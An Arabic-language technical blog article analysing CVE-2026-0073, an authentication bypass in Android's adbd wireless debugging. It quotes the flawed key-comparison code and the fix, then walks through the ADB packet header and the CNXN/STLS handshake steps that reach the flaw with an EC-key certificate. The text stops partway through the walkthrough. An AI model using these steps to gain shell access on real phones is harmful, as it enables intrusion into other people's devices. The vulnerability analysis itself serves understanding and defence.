ثغرة تجاوز المصادقة في ADB على أندرويد: حين خان الجني
تحليل تقني لثغرة CVE-2026-0073 في ADB وadbd، وكيف أدى سوء تفسير قيمة الإرجاع -1 في سطر برمجي واحد إلى تجاوز المصادقة والوصول إلى جلسة Shell على نظام أندرويد.
بسم الله الرحيم الرحيم
هب أن شخصًا يجلس على نفس الشبكة التي تتصل بها، أو يرى منفذًا مفتوحًا في هاتفك من الخارج، فلا يرسل لك رابطًا ولا يقنعك بتثبيت تطبيق ولا ينتظر منك ضغطة زر واحدة، كل ما يفعله: يرسل بضعة رُزَمٍ شبكية فحسب، ثم يجد نفسه قادرًا على إصدار أوامر على هاتفك وكأنه أمسكه بيده!
أتتذكر كلمات «المرشد» في وثيقته الخالدة: "جريمتي هي الفضول"؟
جئتك اليوم بمقالة عن ثغرة أمنية جسيمة ولدت من سطر واحد، سطر غفل عنه مطورو أندرويد واكتشفه باحث فضولي، هي خير مثال على ما قد أرسيناه من الأصل الأصيل في الاختراق واكتشاف الثغرات والأمن السيبراني (الرقمي) عامة في مقالنا (وثيقة من تاريخ البعسسة العريق)، ثغرة هي من صميم ما دعا إليه «المرشد» في وثيقته، وما نادى به أهلُ البعسسة قديمًا: الفضول والفهم ثم الفضول والفهم!
لنريك كيف أن اكتشاف الثغرات لا يكون إلا فهمًا للنظام يفوق فهم صاحبه وفضولًا واستكشافًا تغور به في دقائق البرمجية ومخابيها، البعسسة وما أدراك ما هي، فن كل مخترق وكل باحث ومخترع… ونُزِيل بهذا ما ظنه الجاهلون من أن الاختراق تشغيل أداة وانتظار نتيجة!
وما البعسسة إلا اللفظ اليمني للمنهج العلمي التجريبي الاستقرائي
الثغرة موسومة بالرقم CVE-2026-0073، ثغرة تجاوز منطِق المصادقة حتى تنفذ أوامرًا على نظام أندرويد الضحية دون أي لمسة منه ولا علم (على حين غفلة)، فلا رابط ترسله له ولا برنامج يثبته، يكفي أن تكون معه في نفس الشبكة أو أن يكون المنفذ مفتوحًا في هاتفه وتراه من الخارج.
برمجية ADB
برمجية ADB وترجمة اسمها جسر التصحيح للأندرويد Android Debugging Bridge، هو ذلك الممر السري الذي أنشأته جوجل لتسريح همسات المطورين إلى قلوب الأندرويد، لا غنى لفني الهواتف عنها للتعامل مع نظام التشغيل أو لمطور تطبيقات الأندوريد لتصحيح أخطاء تطبيقاته، فهو الجسر بينهم وبين الهاتف لتأدية ما يريدون، وكُلٌّ ينتفع به كيف يشاء.
وعمل هذه البرمجية يقول على إنشاء اتصال بين حاسوبك والهاتف، والاتصال يكون بطريقتين:
١. الأولى: سلكية عبر سلك USB متصل بحاسوبك،
٢. والأخرى: اتصال غير سلكي عبر شبكة Wi-Fi، وهذا اسمه التصحيح الشبكي Wi-Fi debugging.
التصحيح الشبكي ظهر من أندوريد ١١ وما فوق، عام ٢٠٢٠م، وبات مدمجًا داخل النظام تُمكِّنه من داخل إعدادات المطور.
في البداية كان الاتصال سلكيًا عبر USB فلا يستطيع أحد لمس هاتفك من بعيد، ولأن المطورين ضاقوا ذرعًا بالسلك وأرادوا الحرية وأن يختبروا تطبيقاتهم وهواتفهم في أيديهم وهم يمشون في الغرفة = جاءت جوجل آنذاك بخاصية جديدة اسمها ADB over TCP، أي التصحيح عبر ميفاق TCP الشبكي المعروف، على المنفذ 5555، وكانت هذه الطريقة كارثية لانعدام الأمان، فلا حماية ولا تعمية encrypted.
ثم قدَّمت جوجل ميزة جديدة اسمها التصحيح غير السلكي Wireless Debugging، وهذه مختلفة تمامًا عن طريقة ADB over TCP القديمة، لأنك كنت فيها تفتح المنفذ 5555 ويبقى مفتوحًا، وفي الطريقة الجديدة صار الأمر أكثر ذكاءً، فالمنفذ الذي يستمع عليه adbd لم يعد ثابتًا مثل 5555، وأصبح الاتصال معمًّى بتقنية TLS 1.3.
وبرمجية adb ليست برنامجًا واحدًا كما قد يظنه بعض الناس، وحُقَّ لهم ذلك، بل هي برمجية من ثلاث مكونات لا بد من توافرها جميعًا، وهي:
adb من الحاسوب.adbd التي تعمل داخل الهاتف، فهو المنظم الذي يستقبل الأمر من العميل ويمرره للهاتف والعكس.
ملاحظة طريفة: حرف
dفي آخرadbdهو اختصار لكلمة Daemon والتي تعني في ثقافة الأنظمة: (شبيه الجني) أو (الروح الخفية) التي تعمل في الخفاء دون أن يراها أحد، فهي تسمع ولا تُرى، وفي التراث الغربي معناها: (كائن وسيط بين البشر والآلهة)، وهو خادم أمين يؤدي عمله في صمت، وها هوadbdيؤدي عمل الجني الصغير في هاتفك، يسمع الأوامر وينفذها، فلا ينام ولا يغفل وينتظر من يناديه.
وغرضي من ذكر ما ذكرته أن ثغرة اليوم هي في هذا الجني الصغير، في مكوِّن adbd (الخدمة)،على مسار المصادقة في التصحيح الشبكي Wi-Fi debugging = نامت العلة التي سنقصها عليك… فإذا رأيت كلمة adbd في بقية المقال فاعلم أننا نتحدث عن الجني الذي سُحِر فخان! فهو موضع الثغرة ولا بد من الاقتراب منه قليلا ولننظر كيف يؤدي عمله في الأيام العادية.
مصادقة adbd
حين كان ADB محصورًا في سلك USB لم تكن مهمة هذا الجني (adbd) عسيرة، فالسلك نفسه كان جزءًا من الثقة، أما حين أُتيح الاتصال عبر الشبكة وأصبح بالإمكان مخاطبة الهاتف من بعيد نشأت مسألة جديدة: كيف يميز adbd بين صاحبه ومنتحل صفته؟ وكيف يعرف أن من يناديه من الطرف الآخر هو الحاسوب الذي أذِنَ له المستخدم لا عابر سبيل ولا لصًّا متربصًا في ثياب صديق؟
لأن أي أحد في الشبكة أو أي شخص من الخارج يراها قد يكون مُنتحِلاً أو لصًّا مُفسدًا! ولهذا لم يُترك الأمر لكل من عرف المنفذ أو استطاع الوصول إليه، فإذا اتصل حاسوب بخدمة التصحيح غير السلكي Wi-Fi debugging لم يُسمح له بمباشرة إصدار الأوامر، وكان لزامًا عليه أن يجتاز عملية تحقق ومصادقة مع الهاتف قبل أن يُمنح شيئًا من الثقة.
وتجري هذه المصادقة داخل اتصال آمن يعتمد على تقنية TLS، وغرض هذا الاتصال أمران: أ) أن يتحقق الهاتف ممن يقف على الطرف الآخر، ب) وأن يحجب ما يدور بينهما عن أعين المتطفلين، فكل ما يتبادله الطرفان يمر داخل قناة معماة لا يقرأها إلا صاحبها.. وفي أثناء هذه العملية يقدم الحاسوب شهادةً رقميةً فيها مفتاحه العام، والمفتاح العام Public Key هو جزء من زوج مترابط رياضيًا: أ) مفتاح عام يمكن إظهاره للناس، ب) ومفتاح خاص يبقى سرًا عند صاحبه، وبهذا الزوج يستطيع الحاسوب أن يثبت هويته دون أن يكشف سره.
وعندما يقترن حاسوب بالهاتف لأول مرة = يحتفظ أندرويد بمفتاحه العام في سجل المفاتيح الموثوقة المخزنة في المسار data/misc/adb/adb_keys/، وهو السجل الذي يحتفظ فيه أندرويد بالأجهزة التي سبق للمستخدم أنِ اقترن ورضي بها شركاء في الحديث مع الهاتف.
ومن تلك اللحظة يصبح ذلك المفتاح هويةً لذلك الحاسوب في نظر الهاتف، فإذا عاد واتصل به مرة أخرى = استخرج adbd المفتاح العام من الشهادة المقدمة، ثم عاد إلى سجل الثقة (المخزن في ذاك المسار) ونظر: أهذا هو المفتاح الذي أعرفه أم لا؟ أيُّ هذه المفاتيح لدي تطابقه؟
فإن وجدت adbd أن المفتاح المقدم هو نفسه المفتاح المعروف لديها (في المسار data/misc/adb/adb_keys/) = أجازتِ الاتصال ومضى الطرفان إلى تبادل أوامر ADB داخل القناة الآمنة (بتقنية TLS المذكورة آنفًا)، وإن لم تجد بينهما تطابقًا = انقطع الأمر عند هذا الحد وبقي الباب موصدًا.
وكان ينبغي أن تكون هذه نهاية القصة! فالتعمية صحيحة والشهادات صحيحة، وآلية الثقة في أصلها سليمة، وكل جزء من الأجزاء يؤدي وظيفته كما أراد له مصمموه، غير أن الأنظمة الكبيرة لا تنهار دائمًا لأن أحد أجزائها فاسد، وإنما قد تنهار لأن جزءين صحيحين التقيا عند حدٍّ لم يُفهم على وجهه، وكثيرًا ما تكون العلة كامنة في السؤال الذي يُطرح لا في الجواب الذي يُعطى…
المفاتيح العامة ليست كلها من نوع واحد، فمنها مفاتيح RSA ومنها مفاتيح المنحنيات الإهليلجية Elliptic Curve، اختصارًا EC، ومنها غير ذلك.. وكلها مفاتيح صحيحة وصالحة للاستعمال في TLS، لكنها ليست من النوع نفسه ولا يجوز الخلط بينها عند التحقق من المفتاح… وهنا وقعت الكارثة!
فحين أرادت adbd أن تجيب عن سؤال بدا في غاية السهولة: «هل هذا المفتاح هو ذاك المفتاح عينه؟» كانت الطريقة التي فهمت بها الجواب هي أصل الحكاية كلها ومن هنا تبدأ الثغرة!
إذا لم تفهم ما (المفتاح العام) و(الشهادة) وما ذكرته في هذه الفقرة فلا بأس، فهو من علم التعمية cryptography، وتلك من مبادئه.

قلب الثغرة: حين خان الجني!
في ملف auth.cpp داخل مكون adbd، في السطر التالي:
if (EVP_PKEY_cmp(known_evp.get(), evp_pkey.get())) { VLOG(AUTH) << "Matched auth_key=" << public_key; verified = true;}if (EVP_PKEY_cmp(known_evp.get(), evp_pkey.get())) {VLOG(AUTH) << "Matched auth_key=" << public_key;
verified = true;
}
في هذا السطر مكثت العلة ونامت! سطرٌ لعلك تنظر إليه فلا ترى فيه شيئًا يدعو إلى الريبة، لعلك تظنه من أكثر الأسطر بداهة في الدنيا، فالوظيفة اسمها «مقارنة المفاتيح»، والشرط يسأل: هل تحقق التطابق أم لا؟
كأن لسان حالها يقول:
if (keys_equal(a, b)) { accept();}if (keys_equal(a, b)) {accept();
}
الوظيفة EVP_PKEY_cmp في السطر كما ترى مهمتها مقارنة مفتاحين وإرجاعُ قيمةٍ تحكمُ عليها التعليمةُ الشرطيةُ if بالصواب أو الخطأ true/false، فأين العلة في هذا يا مبعسس؟
العلة أن المبرمج الذي كتب السطر ظن ظنًّا خاطئًا أنها وظيفة function تجيب بنعم أو لا، صفر أو واحد، كما يفعل كثير من المبرمجين حين يكتبون if (function()) دون أن يسألوا: ماذا ترجع هذه الوظيفة حقا؟ وما هي كل القيم التي يمكن أن تعيدها؟
إن الوظيفة EVP_PKEY_cmp وظيفة ورثتها جوجل عن مكتبة OpenSSL العريقة (وهي مكتبة مستعملة في تأمين الاتصالات في البرمجيات)، وهذه الوظيفة كما في توثيقها الموروث تأخذ مفتاحين وتقارن بينهما ثم تُرجِع -لنتيجة المقارنة- أربع قيمٍ لا اثنتين! ولكل قيمة معنًى مُقترن به، ودونك القيم مع معانيها:
- ترجع
1: عند تتطابق المفاتيح، أي من نفس النوع ومتطابقين = فليُفتحِ الباب - ترجع
0: حين لا تتطابق المفاتيح من نفس النوع = فليُغلقِ الباب - ترجع
-1: عند اختلاف أنواع المفاتيح - ترجع
-2: عندما تكون العملية غير مدعومة أو لا يمكن إكمالها لأي سبب آخر
جوجل في أندرويد تستعمل نسختها المخصصة من مكتبة OpenSSL والتي تُسمَّى BoringSSL، غير أن السلوك في كليهما واحد: أربع قيم، ولكلٍّ معناها.
ولغة السي C لا تنظر إلى هذه المعاني كلها حين توضع القيمة داخل شرط if، ولا تفكر كالبشر الذين يفكرون في المعاني، فالعين التي تنظر بها اللغة إلى الشرط هي عين آلة قاصرة جدًا تتعامل مع القيم ولا يهمها معنى العدد ولا سبب مجيئه ولا الرسالة التي يحملها، وإنما تسأل سؤالًا واحدًا لا غير: أهو صفر أم غير صفر؟
فإن كان صفرًا عدَّتُه خطأ false، وإن كان أي عدد آخر غير الصِفر عدَّتُه صوابًا true! سواء أكان ذلك العدد واحدًا أم ألفًا أم سالب واحد أم سالب ألف ألف، وهذه طامة كبرى! هذا السطر معلول هكذا! المبرمج لم يحسب حساب القيم الأخرى! كل قيمة ليس بصفر هي قيمة صحيحة ستفسرها اللغة!
إن الشرط (…) if لا يسأل الوظيفة عما قالته ولا يفقه معنى -1، إنه ينظر إليها نظرةً فجَّة ثم يسألها سؤالاً واحدًا: "هل أنت صفر أم لا؟" وإذا أجابته: -1 = قال: "ليست صفرًا إذن نعم، فليُفتحِ الباب"!
إن البشر هم من يضفون على الرموز معانيًا، كتحوِّل نقطة وشرطة -كما في ترميز مورس- إلى لغة تُكتَب بالضوء والنبضة، وكتحوِّل صفر وواحد إلى لغة للحواسيب…
فالمخترق الذي رأى هذا السطر ولم يرَ المبرمج يتحقق من نوع المفتاح قبل المقارنة، ولم يَرَهُ يفرض أن يكون المفتاح من نوع مُعيَّنٍ مثل RSA = رأى في هذا صيدًا فانقض عليه وعبث بالمفتاح وجعله من نوع EC (المنحنيات الإهليلجية) فإذا بالجني الصغير adbd يُسحَر ويَفتح الباب على مصراعيه!
وهذه هي عقلية المرشد التي نريدها، فالباحث لو أرسل شهادة وفيها مفتاح فاسد من نوع RSA فلن يقبله الجني لأن الوظيفة أرجعت صِفرًا، ومعنى الصِفر: "ليس هو نفس المفتاح غير أن النوع مُتَّفِقٌ لكن المفتاحين غير متطابقين"، وبما أن لغة السي كل قيمة غير الصفر هي صواب true = وَلَجَ المخترق وتخطى منطِق المصادقة!
كيف فعلها الباحث؟
حين نقترب أكثر من قلب الحدث ونغوص في ملف auth.cpp = نرى أن سطر المقارنة المعلول ذاك هو جزء من وظيفةٍ كانت تحتويه، وظيفة كانت هي المحكمة التي انعقدت في غرفة مظلمة، جلست لتنظر في الأدلة لكنها لم تكن تعرف كيف تقرأها وتفسرها، واسم الوظيفة adbd_tls_verify_cert، ومعناها: "التحقق من شهادة TLS"، وغرض الوظيفة الذي تؤديه: تأخذ الشهادة التي قدمها الجهاز المُرسِل وتستخرج مفتاحها العام، ثم تذهب إلى سجل المفاتيح الموثوقة المخزنة في المسار data/misc/adb/adb_keys/، وتتصفحه مفتاحًا مفتاحًا حتى تجد ما يطابق المفتاح المُقدَّم أو تنتهي من كل المفاتيح وتغلق الباب… دونك هي كاملة:
int adbd_tls_verify_cert(X509_STORE_CTX* ctx, std::string* auth_key) { if (!auth_required) { // Any key will do. VLOG(AUTH) << __func__ << ": auth not required"; return 1; } bool authorized = false; X509* cert = X509_STORE_CTX_get0_cert(ctx); if (cert == nullptr) { VLOG(AUTH) << "got null x509 certificate"; return 0; } bssl::UniquePtr evp_pkey(X509_get_pubkey(cert)); if (evp_pkey == nullptr) { VLOG(AUTH) << "got null evp_pkey from x509 certificate"; return 0; } IteratePublicKeys([&](std::string_view public_key) { std::vector split = android::base::Split(std::string(public_key), " t"); uint8_t keybuf[ANDROID_PUBKEY_ENCODED_SIZE + 1]; const std::string& pubkey = split[0]; if (b64_pton(pubkey.c_str(), keybuf, sizeof(keybuf)) != ANDROID_PUBKEY_ENCODED_SIZE) { LOG(ERROR) << "Invalid base64 key " << pubkey; return true; } RSA* key = nullptr; if (!android_pubkey_decode(keybuf, ANDROID_PUBKEY_ENCODED_SIZE, &key)) { LOG(ERROR) << "Failed to parse key " << pubkey; return true; } bool verified = false; bssl::UniquePtr known_evp(EVP_PKEY_new()); EVP_PKEY_set1_RSA(known_evp.get(), key); if (EVP_PKEY_cmp(known_evp.get(), evp_pkey.get())) { VLOG(AUTH) << "Matched auth_key=" << public_key; verified = true; } else { VLOG(AUTH) << "auth_key doesn't match [" << public_key << "]"; } RSA_free(key); if (verified) { *auth_key = public_key; authorized = true; return false; } return true; }); return authorized ? 1 : 0;}int adbd_tls_verify_cert(X509_STORE_CTX* ctx, std::string* auth_key) {if (!auth_required) {
// Any key will do.
VLOG(AUTH) << __func__ << ": auth not required";
return 1;
}
bool authorized = false;
X509* cert = X509_STORE_CTX_get0_cert(ctx);
if (cert == nullptr) {
VLOG(AUTH) << "got null x509 certificate";
return 0;
}
bssl::UniquePtr
if (evp_pkey == nullptr) {
VLOG(AUTH) << "got null evp_pkey from x509 certificate";
return 0;
}
IteratePublicKeys([&](std::string_view public_key) {
std::vector
uint8_t keybuf[ANDROID_PUBKEY_ENCODED_SIZE + 1];
const std::string& pubkey = split[0];
if (b64_pton(pubkey.c_str(), keybuf, sizeof(keybuf)) != ANDROID_PUBKEY_ENCODED_SIZE) {
LOG(ERROR) << "Invalid base64 key " << pubkey;
return true;
}
RSA* key = nullptr;
if (!android_pubkey_decode(keybuf, ANDROID_PUBKEY_ENCODED_SIZE, &key)) {
LOG(ERROR) << "Failed to parse key " << pubkey;
return true;
}
bool verified = false;
bssl::UniquePtr
EVP_PKEY_set1_RSA(known_evp.get(), key);
if (EVP_PKEY_cmp(known_evp.get(), evp_pkey.get())) {
VLOG(AUTH) << "Matched auth_key=" << public_key;
verified = true;
} else {
VLOG(AUTH) << "auth_key doesn't match [" << public_key << "]";
}
RSA_free(key);
if (verified) {
*auth_key = public_key;
authorized = true;
return false;
}
return true;
});
return authorized ? 1 : 0;
}
تبدأ الوظيفة بفحص: هل المصادقة مطلوبة أصلاً (!auth_required) if ؟ فإن لم تكن فكل من يطرق الباب مرحب به وأي مفتاح مقبول، وهذا هو الحال عندما يُعطِّل المطور المصادقة عمدًا، وهو أمر نادر لكنه موجود:
if (!auth_required) { // Any key will do. VLOG(AUTH) << __func__ << ": auth not required"; return 1; } bool authorized = false; if (!auth_required) {// Any key will do.
VLOG(AUTH) << __func__ << ": auth not required";
return 1;
}
bool authorized = false;
ثم تشرع في استخراج الشهادة التي أرسلها الجهاز المُرسل، فإن لم تجد شيئا ردت بصفر وأغلقت الباب:
X509* cert = X509_STORE_CTX_get0_cert(ctx); if (cert == nullptr) { VLOG(AUTH) << "got null x509 certificate"; return 0; } X509* cert = X509_STORE_CTX_get0_cert(ctx);if (cert == nullptr) {
VLOG(AUTH) << "got null x509 certificate";
return 0;
}
ثم تستخرج المفتاح العام من الشهادة وتضعه في evp_pkey وإن لم تجده ردت بصفر وأغلقت الباب، وكما هو مُلاحظ هاهنا لم يفحص المُبرمِج ويتحقق من المفتاح العام ما نوعه؟ ولم يجبر المُرسِل على نوع مُعيَّن، بل ترك للمُرسِل التصرُّف فيه فيُرسل ما يشاء من مفتاح، والمفتاح القادم من شهادة TLS قد يكون RSA وقد يكون EC وقد يكون Ed25519 وقد يكون غير ذلك:
bssl::UniquePtr evp_pkey(X509_get_pubkey(cert)); if (evp_pkey == nullptr) { VLOG(AUTH) << "got null evp_pkey from x509 certificate"; return 0; } bssl::UniquePtrif (evp_pkey == nullptr) {
VLOG(AUTH) << "got null evp_pkey from x509 certificate";
return 0;
}
ثم تشرع [الوظيفةُ] في حلقةٍ تتجوَّلُ فيها على كل مفتاح عام في سجل المفاتيح الموثوقة المخزنة في المسار data/misc/adb/adb_keys/، تمر على كل مفتاح وتأخذه لتتحقق منه هل يُطابق مفتاحًا معينًا أم لا، كأنها تقول: أمن أهل البيت هو أم لا؟
وحين تستخرج مفتاحًا من سجل المفاتيح الموثوقة يكون مُرمَّزًا بصيغة Base64 فتأخذه وتفكُّ ترميزه (بعد أن تنقيه من شوائبه) ويُحوَّل ليكون مفتاح RSA سليم وتضعه في known_evp، وهذا المفتاح هو مفتاح معروف مُسبقًا من جهاز سبق له واقترن بالهاتف، وكما هو مُلاحظ أن المفتاح المعروف مفتاح ثابت من نوع RSA:
RSA* key = nullptr;android_pubkey_decode(keybuf, ANDROID_PUBKEY_ENCODED_SIZE, &key);…EVP_PKEY_set1_RSA(known_evp.get(), key);RSA* key = nullptr;
android_pubkey_decode(keybuf, ANDROID_PUBKEY_ENCODED_SIZE, &key);
…
EVP_PKEY_set1_RSA(known_evp.get(), key);
ثم بعد ذلك لحظة المصير حيث ينبغي أن ينعقد الحكم، حين يلتقي المعروف بالغريب، حين يُقارن المفتاح المعروف الموثوق known_evp مع المفتاح الغريب evp_pkey الذي لم يسبق له أن زار البيت ولم يُختبر من قبل، المفتاح الذي قدمه الجهاز المُرسِل في الشهادة:
if (EVP_PKEY_cmp(known_evp.get(), evp_pkey.get())) { VLOG(AUTH) << "Matched auth_key=" << public_key; verified = true;}if (EVP_PKEY_cmp(known_evp.get(), evp_pkey.get())) {VLOG(AUTH) << "Matched auth_key=" << public_key;
verified = true;
}
وقفَ مفتاحان: أحدهما من نوع RSA أُخرِجَ من سجل الثقة بعد جهد، والآخر من نوع EC قدَّمه باحثٌ لبيبٌ، وإذ بوظيفة EVP_PKEY_cmp -كما عهدناها- لا ترد بـ "نعم" أو "لا" فقط، بل بأربع قِيَمٍ لكل واحدة معنى: واحد للتطابُق، وصِفرٌ للاختلاف مع الاتفاق في النوع، وسالبُ واحد للتبايُن في الجنس، وسالبُ اثنان للتعذُّرِ، فحين اصطدم المفتاحان وهما من نوعين مختلفين، كان من المحال أن تقولَ الوظيفةُ "متطابقان" أو "مُختلفان" لأن المفاضلة بين الأجناس في رياضيات التعمية لا معنى لها، فاختارت القيمة الثالثة (-1) التي تعني: "قِف، هذان من عالَمينَ مُتبايِنين".
لكن المبرمج -وهو ابنُ لغة C التي ترى في كلِّ عددٍ غير الصِفر صوابًا- لم يُحسنِ الإصغاء إلى هذه الإشارة الرقيقة، إذ نظر إلى (-1) بعين الجاهل بمعناها، فإذا هو يرى كلَّ ما ليس صفرًا "نعم"! ولم يَسبِق هذا الشرط أيُّ تمحيصٍ أو تدقيق في أنواع المفاتيح أو هويَّاتِها، فاكتفى بالنظر إلى قيمة الوظيفة وحدَها فإذا هي غيرُ صِفرٍ، ففتح الباب على مصراعيه وترك الغريب يدخل بلا استئذان.
والطريف أن هذا النمط الدقيق من الأخطاء هو خطأ متكرر في تاريخ البرمجة، تسبب في ثغرات أمنية من قبل، فقد وقع في برمجية OpenIKED وخُصصت له ثغرة CVE-2020-16088، ووقع في برمجية rpki-client، والمبرمجون في كل مرة يفعلون نفس الشيء: استعملوا وظيفة EVP_PKEY_cmp كاستعلام منطقي، فكانت النتيجة ثغرات في المصادقة أصلحت في وقت لاحق بعد أن كشفها باحثون فضوليون، وكأن التاريخ يعيد نفسه، وكأن المبرمجين في كل مرة يقعون في نفس الحفرة لأنهم ينسون أن الوظائف ليست كلها منطقية، وأن الأعداد تحمل معاني قد تضيع في الطريق!
أما كيف أصلحوا الثغرة فقد عمدت جوجل إلى إصلاح السطر المعلول بأن اشترطت أن تكون القيمة المرجعة للمطابقة التامة هي 1 فقط، وأظن المبرمج المبتدئ كان ليضع أسطرًا زيادة لفرض نوع مفتاح معين ثم يتعامل مع سائر القِيَم المرجعة، أما جوجل فقد اختصرت الطريق بفرض 1 دون غيرها وكأنها قالت: "لا ثقة إلا بيقين، ولا يقين إلا بتطابق تام":
if (EVP_PKEY_cmp(known_evp.get(), evp_pkey.get()) == 1) { verified = true;}if (EVP_PKEY_cmp(known_evp.get(), evp_pkey.get()) == 1) {verified = true;
}
ولم يقف الإصلاح عند هذا الحد وتعداه إلى مكتبة BoringSSL نفسها ونشرت جوجل تصحيحًا ضيَّقت فيه دلالة الوظيفتين EVP_PKEY_cmp و EVP_PKEY_cmp_parameters في المكتبة، فلم تعد ترجع إلا قيمتين اثنتين فقط: 1 أو 0. أما الحالات السالبة القديمة التي كانت تحمل رسائل خاصة فقد حُوِّلت إلى صفر وكأن المكتبة باتت تقول: "إن لم تستطع أن تقول نعم أو لا، فقل لا"، وهكذا منعت أن يقع أي مبرمج مرة ثانية في نفس العلة!
وحتى نختم هذه الفقرة فلا بد من سؤال نسأله: أين تقع هذه المصادقة داخل البرمجية كلها؟ وكيف يصل التنفيذ أصلًا إلى السطر المعيب؟
فالجواب على هذا السؤال يحيلنا إلى استغلال الثغرة بعد أن استوعبناها استيعابًا تامًا مفصَّلًا…
الثغرة والحد الفاصل
إن استغلال هذه الثغرة يقوم على الوصول إلى منطق المصادقة في وظيفة adbd_tls_verify_cert التي رأيناها آنفًا وكما فهمناه، غير أن هذه الوظيفة لم تكن لا في أول الطريق ولا في آخره حتى يَسهُل على الباحث الوصول إليها، فقد كانت الوظيفة تقبع عند التقاء ثلاث طبقات مستقلة من برمجية ADB، تعمل كل واحدة منها بمعزل عن الأخرى ثم تتلاقى جميعًا عند لحظة المصادقة:
ولهذا كانت الثغرة سهلة الفهم عسيرة الاستغلال، فليس كل من رأى السطر المعيب استطاع الوصول إليه.. وكان على الباحث أن يعبر الطبقات الثلاث كلها دون أن ينكسر التسلسل بينها، لأنه لو فتح اتصال TCP مع الهاتف ثم بدأ مباشرة إرسال رسائل TLS لما وصل إلى الوظيفة المعيبة أصلًا، لأن خدمة adbd لم تكن قد بلغت بعد المرحلة التي تستدعي فيها الوظيفة adbd_tls_verify_cert، ثم بعد أن يمر بجميعها عليه استكمال ما بقي من الخطوات!
وسبب ذلك أنه لا بد أولًا من المخترق أو الباحث أن يسير في الطريق الذي يسلكه عميل ADB الطبيعي خطوة خطوة حتى تصل البرمجية بنفسها إلى نقطة اتخاذ القرار، والسبب الآخر أن التصحيح غير السلكي هو مِيفاق Protocol مركب، أي قوانين دقيقة بين طرفين لا تُغتفر فيها الزلة، فكل رسالة فيه متوقعة في موضعها، وكل خطوة لا بد أن تأتي بعد أختها، فإن قدمت ما حقه التأخير أو أخرت ما حقه التقديم خرج الطرفان من السياق وانقطع الحديث بينهما.
الطبقة الأولى هي طبقة ADB نفسها، أي اللغة التي يتخاطب بها العميل مع خدمة adbd، وفي هذه المرحلة لا تكون تقنية TLS قد بدأت بعد، ولا تكون الشهادات قد ظهرت أصلًا، فكل الحديث حديث ADB خالصًا، وكان على الباحث أن يقنع adbd أولًا بأنه عميل ADB طبيعي، وأنه يعرف آداب الحديث وقواعده، وأنه ليس برنامجًا عشوائيًا فتح منفذًا وأخذ يقذف رسائل لا معنى لها، فإذا نجح في ذلك انتقل إلى الطبقة الثانية…
الطبقة الأولى
في البدء يفتح الحاسوب اتصال TCP مع خدمة adbd، حتى يبدأ التعارف الأولي، إذ يرسل الحاسوب أولى رسائله وهي رزمة اسمها CNXN، ومعناها: "أريد الاتصال"، فيها يخبر الهاتف بإصدار ميفاق ADB الذي يتكلم به، وحجم المعطيات Data الذي يستطيع استقبالها، وما يملكه من مزايا وخدمات.
واعلم أن كل رسالة في ميفاق ADB تتألف من رأسية header ثابت طولها ٢٤ بايتًا، يليه -حين تدعو الحاجة- بياناتٌ إضافية، مُرتَّبة بحيث يكون البايت الأقل أهمية أولاً (وهو ما يسموه little-endian)، وحقول هذه الرأسية هي:
command uint32
arg0 uint32
arg1 uint32
data_length uint32
data_check uint32
magic uint32command uint32arg0 uint32
arg1 uint32
data_length uint32
data_check uint32
magic uint32
ما حقل command فيُحدد نوع الأمر المراد تنفيذه، ولكل أمر قيمة عددية ثابتة لا تتغير، ومنها في مسار استغلالنا هذا:
CNXN 0x4e584e43
STLS 0x534c5453
OPEN 0x4e45504f
OKAY 0x59414b4f
WRTE 0x45545257
CLSE 0x45534c43CNXN 0x4e584e43STLS 0x534c5453
OPEN 0x4e45504f
OKAY 0x59414b4f
WRTE 0x45545257
CLSE 0x45534c43
فإذا أراد الباحث أن يبدأ اتصاله أرسل حزمة CNXN واضعًا في arg0 رقم إصدار الميفاق (0x01000001)، وفي arg1 الحجم الأقصى للمعطيات (256 * 1024)، وفي الحمولة payload -التي تلي الرأسية- يضع سلسلة الميزات التي يدعمها، مثل:
host::features=shell_v2,cmd,stat_v2,ls_v2,…host::features=shell_v2,cmd,stat_v2,ls_v2,…وهذه المعمة كلها كأنه يقول للهاتف: "أنا عميل ADB حديث، أتكلم الإصدار الفلاني، وأستطيع استقبال كذا وكذا، وهذه هي قدراتي"، وهذه الخطوة إجبارية لا مفر منها، فبدء الحديث بتقنية TLS مباشرة يترك الطرف الآخر في حالة غير متوقعة فيقطع الاتصال.
قد لا تفهم ما ذكرته لأنه متشعب ولم أذكره كاملًا بتفصيله فليس هذا مقامه، وإن شئت التعمق فخذ أداة الاستغلال المُرفقة في نهاية المقال وادرُسها وانظر كيف تمَّ الأمر برمجيًّا.
حين تصل الرسالة (CNXN) إلى الهاتف وتستقبلها خدمة adbd فلن تفتح الباب ولن تطلب مصادقة ولن تسأل عن الشهادة، كُلُّ ما ستجيب به هو جواب غريب: STLS، وهو اختصار Switch to TLS، ومعناه: الترقي إلى TLS، وكأن لسان حالها يقول: "لقد سمعت كلامك، ولكن لا أريد أن نكمل الحديث على الملأ، إن أردت المتابعة فتعال إلى غرفة مغلقة"، فالانتقال من حديث ADB الصريح إلى TLS هو انتقال إلى قناة مُعمَّاة كما تقدم معنا…
وإذا وافق الحاسوب على الانتقال إلى TLS فعليه الرد برسالة STLS مماثلة، وحين يرد بها فهو يُعلِن قبوله الانتقال إلى الطبقة الثانية، وعند هذه النقطة يسكت ميفاق ADB قليلًا ويتراجع إلى الخلف تاركًا المسرح لتقنية TLS!
الطبقة الثانية
وهنا تبدأ الرقصة الثانية، فبعد أن اتفق الطرفان على الانتقال إلى القناة الآمنة، يبدأ ميفاق TLS 1.3 مصافحته المعروفة handshake، وفي هذه المصافحة يقدم المخترق شهادته التي تحوي مفتاحًا عامًا، وفي هذه اللحظة بالذات يكمن بيت القصيد حيث تلتقي الطبقتان الثانية والثالثة، فغاية TLS في هذه اللحظة ليست التعمية وحدها، ولا أن الهاتف يريد قناة آمنة وحسب، وإنما يريد إثبات الهوية أيضًا، أن يعرف: من الذي يقف على الطرف الآخر من هذه القناة؟
ولهذا تُقدَّم الشهادة الرقمية أثناء المصافحة، ليُستخرج منها المفتاح العام الذي سيُبنى عليه قرار الثقة كله!
الطبقة الثالثة
الطبقة الثالثة هي طبقة الثقة نفسها، الطبقة التي تحتفظ فيها adbd بذكريات الأجهزة التي أذن لها المستخدم من قبل، والطبقة التي تُجيب عن السؤال الذي يدور حوله نظام المصادقة كله:
"هل هذا الحاسوب هو أحد الحواسيب التي وثقتُ بها سابقًا أم لا؟"
